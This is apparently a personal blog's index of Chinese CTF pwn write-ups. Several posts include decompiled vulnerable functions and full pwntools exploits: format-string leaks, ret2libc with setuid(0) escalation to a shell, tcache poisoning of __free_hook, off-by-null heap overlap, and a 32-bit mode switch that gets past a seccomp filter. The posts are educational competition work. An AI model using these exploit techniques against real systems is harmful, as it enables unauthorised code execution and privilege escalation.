快来和我贴贴qaq
post @ 2024-04-24

题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon

pwnable

Memo0

有一个login函数,login success了会调用一个输出flag的函数

unsigned __int64 login()
{
  unsigned __int64 v0; // rax
  size_t v1; // rax
  _BYTE *s1; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Please enter your password: ");
  __isoc99_scanf("%29s", s);
  v0 = strlen(s);
  s1 = sub_12E9((__int64)s, v0);
  if ( !s1 )
  {
    puts("Error!");
    exit(-1);
  }
  v1 = strlen(s2);
  if ( memcmp(s1, s2, v1) )
  {
    puts("Password Error.");
    exit(-1);
  }
  puts("Login Success!");
  sub_1623();
  free(s1);
  return v5 - __readfsqword(0x28u);
}

三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了

_BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // rax
  unsigned __int64 v4; // rax
  int v5; // eax
  unsigned __int64 v6; // rax
  int v7; // eax
  __int64 v8; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  int v10; // [rsp+20h] [rbp-30h]
  int v11; // [rsp+24h] [rbp-2Ch]
  unsigned int v12; // [rsp+2Ch] [rbp-24h]
  unsigned __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+40h] [rbp-10h]
  _BYTE *v16; // [rsp+48h] [rbp-8h]

  v15 = 4 * ((a2 + 2) / 3);
  v16 = malloc(v15 + 1);
  if ( !v16 )
    return 0LL;
  v13 = 0LL;
  v14 = 0LL;
  while ( v13 < a2 )
  {
    v3 = v13++;
    v10 = *(unsigned __int8 *)(a1 + v3);
    if ( v13 >= a2 )
    {
      v5 = 0;
    }
    else
    {
      v4 = v13++;
      v5 = *(unsigned __int8 *)(a1 + v4);
    }
    v11 = v5;
    if ( v13 >= a2 )
    {
      v7 = 0;
    }
    else
    {
      v6 = v13++;
      v7 = *(unsigned __int8 *)(a1 + v6);
    }
    v12 = (v11 << 8) + (v10 << 16) + v7;
    v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F];
    v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F];
    v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F];
    v8 = v14 + 3;
    v14 += 4LL;
    v16[v8] = aZyxwvutsrqponm[v12 & 0x3F];
  }
  for ( i = 0; i < (3 - a2 % 3) % 3; ++i )
    v16[v15 - i - 1] = '=';
  v16[v15] = 0;
  return v16;
}

直接解密拿到login用的password,login后拿到flag

Memo1

memo1在memo0的基础上去掉了backdoor函数

Read More

learn about kernel pwn

尝试编译kernel和文件系统,使用qemu启动

step1:make filesystem (compile busybox)

https://ctf-wiki.org/pwn/linux/kernel-mode/environment/qemu-emulate/#_3

下载busybox编译

wget https://busybox.net/downloads/busybox-1.32.1.tar.bz2
tar -jxf busybox-1.32.1.tar.bz2

make menuconfig // 在Setting中把build static binay勾选 静态链接
make -j4
make install

在make install后可以看到busybox文件夹中多出来一个_install 文件夹, _install文件夹中有

lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls
bin  linuxrc  sbin  usr

创建必要的文件夹

lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ mkdir -p  proc sys dev etc/init.d
lhj@lhj-virtual-machine:~/Desktop/nydn_kernel_learn/busybox-1.32.1/_install$ ls
bin  dev  etc  linuxrc  proc  sbin  sys  usr
Read More
post @ 2024-03-27

唉咱好菜,就出了两个题,后几题都没有思路

Maimai查分器

子函数这里有一个格式化字符串和栈溢出漏洞,用格式化字符串泄露libc的地址和canary的值,然后打ret2libc就好了,打通后catflag发现没有权限,看了一下challenge文件,有suid权限,所以可以用libc中的setuid(0)函数提权,然后cat flag

unsigned __int64 sub_19EA()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Input your nickname.");
  read(0, buf, 8uLL);
  printf(buf);
  printf(", your rating is: %d\n", (unsigned int)dword_504C);
  if ( dword_504C < dword_5010 )
  {
    puts("I think you should play more maimai.");
    exit(0);
  }
  sub_1984();
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 sub_1984()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Big God Coming!");
  puts("Can you teach me how to play maimai?");
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node.nkctf.yuzhian.com.cn"
PORT = 30008

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def playmaimai():
    sla("Select a option:","1")
    ru("Input chart level and rank.")

    for i in range(50):
        sl("234 SSS+")

p = connect()

playmaimai()
sla("Select a option:","2")

payload = "%7$p"
sa("Input your nickname.",payload)
rl()
leak_canary = int(r(18),16)
success(hex(leak_canary))
sla("Can you teach me how to play maimai?","AAAA")


sla("Select a option:","2")
payload = "%13$paa"
# g(p)
sa("Input your nickname.",payload)
rl()
libc_base = int(r(14),16) - 0x29d90
success(hex(libc_base))


rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
setuid = libc_base + libc.sym['setuid']

payload = flat([
    b'a' * 0x28,leak_canary,b'a' * 0x8,
    rdi,0,setuid,
    rdi,binsh,system
])

sla("Can you teach me how to play maimai?",payload)

p.interactive()

来签个到

第一次做winpwn 相关的challenge

https://xz.aliyun.com/t/11891?time__1311=mqmx0DBD9DyG0QeDsKoYKIaNzY4AKvNx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11913%3Ftime__1311%3Dmqmx0DBGnDnDyDBuex2lfgx7KG%253DkmtG8KeD%26alichlgref%3Dhttps%253A%252F%252Fcn.bing.com%252F#toc-1

如何调试:

Read More

Delulu

格式化字符串改低位两个字节就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  v4[0] = 322419390LL;
  v4[1] = (__int64)v4;
  memset(buf, 0, 32);
  read(0, buf, 0x1FuLL);
  printf("\n[!] Checking.. ");
  printf((const char *)buf);
  if ( v4[0] == 322420463 )
    delulu();
  else
    error("ALERT ALERT ALERT ALERT\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.150"
PORT = 53288 

elf = context.binary = ELF('./delulu')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%" + str(0xBEEF)+ "c%7$hn"

# ru(">>")
time.sleep(0.5)
s(payload)

p.interactive()

Writing on the Wall

过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
  char s2[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)s2 = 0x2073736170743377LL;
  read(0, buf, 7uLL);
  if ( !strcmp(buf, s2) )
    open_door();
  else
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.253.78"
PORT = 37705

elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b'\x00' * 7


time.sleep(1)
# g(p)
s(payload)

p.interactive()
Read More
post @ 2024-03-10

Adventure

这印度的服务器稀烂,打半天打不通

有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了

void __cdecl hatchEgg()
{
  char name[20]; // [rsp+0h] [rbp-20h] BYREF

  puts("You wish to hatch the egg!");
  puts("Give the baby dragon a name");
  getchar();
  fflush(stdin);
  gets(name);
  printf("Your dragon is now called %s\n", name);
  printf("You leave the area with %s\n", name);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014

elf = context.binary = ELF('./adventure')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


# 2 - > 1 -> getchar -> gets

rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a

payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# sla("Adventure!","2")
# sla("No","1")

time.sleep(2)
sl("2")
time.sleep(2)
sl("1")


# g(p)
sla("Give the baby dragon a name",payload)

rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))

# 4
libc = libc = LibcSearcher('puts',leak) 
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")


payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)



p.interactive()

babyheap

https://bbs.kanxue.com/thread-273702.htm

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8_io_wfile_overflow%E5%87%BD%E6%95%B0%E6%8E%A7%E5%88%B6%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E6%B5%81

glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
Read More
post @ 2024-03-04

pwn

betterthanu

fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("How much pp did you get? ");
  fgets(s, 100, stdin);
  v6 = atoi(s);
  v5 = v6 + 1;
  puts("Any last words?");
  fgets(s, 100, stdin);
  if ( v5 < v6 )
  {
    puts("What??? how did you beat me??");
    puts("Hmm... I'll consider giving you the flag");
    if ( v6 == 727 )
    {
      printf("Wait, you got %d pp?\n", 727LL);
      printf("You can't possibly be an NPC! Here, have the flag: ");
      flag_file = fopen("flag.txt", "r");
      fgets(flag, 100, flag_file);
      puts(flag);
    }
    else
    {
      puts("Just kidding!");
    }
  }
  else
  {
    printf("Ha! I got %d\n", v5);
    puts("Maybe you'll beat me next time");
  }
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279

elf = context.binary = ELF('./challenge')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)

sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)

p.interactive()

miss-analyzer

题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char v5; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  __int64 v10; // [rsp+30h] [rbp-130h] BYREF
  void *v11; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    v10 = hexs2bin(lineptr, &ptr);
    v11 = ptr;
    if ( !v10 )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    v5 = read_byte(&v11, &v10);
    if ( v5 )
    {
      switch ( v5 )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&v11, &v10, 4LL);
    read_string(&v11, &v10, format, 255LL);
    printf("Hash: %s\n", format);
    read_string(&v11, &v10, format, 255LL);
    printf("Player name: ");
    printf(format);
    putchar(10);
    read_string(&v11, &v10, format, 255LL);
    consume_bytes(&v11, &v10, 10LL);
    v6 = read_short(&v11, &v10);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}

漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()

Read More
post @ 2024-02-27

pwn

你满了,那我就漫出来了![补]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &v3);
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        delete();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v1) )
  {
    free(*((void **)&notes + v1));
    *((_QWORD *)&notes + v1) = 0LL;
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
  unsigned int size; // [rsp+10h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v2) )
  {
    puts("The note already exists.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &size);
      if ( size <= 0xFF )
        break;
      puts("Too big!");
    }
    v0 = v2;
    *((_QWORD *)&notes + v0) = malloc(size);
    printf("Content: ");
    size_4 = read(0, *((void **)&notes + v2), size);
    *(_BYTE *)(*((_QWORD *)&notes + v2) + size_4) = 0;
  }
  return __readfsqword(0x28u) ^ v5;
}

题目没有uaf,但是在add的时候有一个off by null,可以通过off by null 触发一次堆合并 构造 一个heap overlap的现象,产生uaf

构造一个这样的情况,在add heap3的时候,heap4的低位一个字节就会被覆盖成 0x00,如果在创建 heap4的时候size 大于等于 0xf8,这时候chunk的大小为 0xf0 + 0x10(size + 8) + 1(prev_inuse),在add heap3的时候 prev_inuse就会被覆盖,再free掉 heap4的时候就会触发 前向合并,将 heap 1 2 3 4合并在一起

heap 1(free) (content "AAAA") 
heap 2(In use) (content "AAAA")
heap 3(In use) (content "A" * (data  - 8) + p64(heap 1 size+ heap2 size+ heap3 size))
heap 4(In use) (content "AAAA") 
High Address

这时候再malloc 5 6 7 8 那就会产生一个堆重叠现象

1 - 5
2 - 6
3 - 7
4 - 8
Read More
post @ 2024-02-25

pwn

[签到]stack

题目逻辑是这样的,其实就是找一个比 0x58 大很多,低一个字节小于 0x40的数,就能溢出了

char *run()
{
  char buf[76]; // [rsp+0h] [rbp-50h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

有一个 backdoor 函数,然后我看了一下没有 rdi的gadget

int __fastcall backdoor(const char *a1)
{
  if ( strncmp(a1, "give me flag", 0xCuLL) )
    return puts("Nope!");
  puts("You got!");
  return system(a1);
}

但是在call system前,因为strdup了一次 rax寄存器是一个堆上的地址,内容和read进去的数据一模一样的,所以可以构造一个 /bin/sh\x00 …… 这样一个payload,在 mov rdi,rax的时候就会取到binsh的地址,最后syscall

.text:00000000004011F0 48 8B 45 F8                   mov     rax, [rbp+s1]
.text:00000000004011F4 48 89 C7                      mov     rdi, rax                        ; command
.text:00000000004011F7 E8 64 FE FF FF                call    _system
.text:00000000004011F7

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "yuanshen.life"
PORT = 33074

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 313

backdoor = 0x4011F4

payload = b'/bin/sh\x00' +b'a' * (0x50)
payload += p64(backdoor)


sla("Give me the length: ","313")
# g(p)
sa("Give me your command: ",payload)

p.interactive()
Read More
post @ 2024-02-14

唉咱好菜,就出了一题

HappyCTF

public vuln
vuln proc near

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rax, aNowPlzYouInput ; "Now,plz you input:"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+buf]
mov     edx, 100h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     [rbp+var_8], rax
mov     rdx, [rbp+var_8]
mov     eax, 0
call    rdx
nop
leave
retn
; } // starts at 401355
vuln endp

有一个沙箱,白名单,有read 和 write 但是没有open,搜了一段时间发现,fstat的系统调用号是5,32位下 open的系统调用也是5,沙箱没有对架构做检查

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

用32位的open 配合 64 位的 read write 打orw

切换成32 位的模式要用 retf,retf等价于 pop cs ; pop rip,因为栈地址是不知道的需要迁移一下,所以在切换前用mmap分配一段有rwx的内存,往上面写open retfq(32 to 64) read write的shellcode,然后retf切换模式 同时mov rsp迁移过去。

因为64位下 push是以八字节为单位push的,retf 在 (pop ip;pop cs)的时候是以四字节为单位pop的,所以不能直接push,可以通过 mov [rsp],eax mov [rsp + 4],eax 这种方式 或者 dword ptr来 “push”

retf 用 pwntools中的asm编译不了,可以用nasm编译,objdump -d 去提取字节码

;;nasm -f elf64 test.asm 
;;ld -m elf_x86_64 -o test test.o
global _start
_start:
    retf
Read More
post @ 2024-02-14

pwn

Elden Ring Ⅱ

一个heap manager相关的题目,glibc 2.31,没有pie,包括add edit show delete四个功能,在delete这里有一个uaf

void delete_note()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &v0);
  if ( v0 <= 0xF )
  {
    if ( notes[v0] )
      free((void *)notes[v0]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
}

通过uaf 去写 tcache 的 next指针为 puts_got的地址,分配到put_got上,用show去泄露libc_base,然后写free_hook为system,去free一块 内容是/bin/sh的堆

from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.137.175"
PORT = 31853

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size):
    sla(">","1")
    sla("Index: ",str(idx))
    sla("Size: ",str(size))

def delete_note(idx):
    sla(">","2")
    sla("Index: ",str(idx))

def edit_note(idx,content):
    sla(">","3")
    sla("Index: ",str(idx))
    sa("Content: ",content)

def show_note(idx):
    sla(">","4")
    sla("Index: ",str(idx))

p = connect()


add_note(0,0x70)
add_note(1,0x70)

delete_note(0)
delete_note(1)

puts_got = elf.got['puts']

edit_note(1,p64(puts_got))
add_note(2,0x70)
add_note(3,0x70)

show_note(3)

libc_base = r_leak_libc_64() - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(libc_base))
success(hex(free_hook))

add_note(4,0x70)
add_note(5,0x70)
delete_note(4)
delete_note(5)

edit_note(5,p64(free_hook))

add_note(6,0x70)
add_note(7,0x70)

edit_note(7,p64(system))
edit_note(6,b'/bin/sh')

delete_note(6)


# g(p)




p.interactive()

fastnote

咱好笨,想了好久才做出来,学到新思路了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3u:
          delete();
          break;
        case 1u:
          add();
          break;
        case 2u:
          show();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    ptr = (void *)notes[v1];
    if ( ptr )
    {
      free(ptr);
      ptr = 0LL;
    }
    else
    {
      puts("No such note.");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
Read More
⬆︎TOP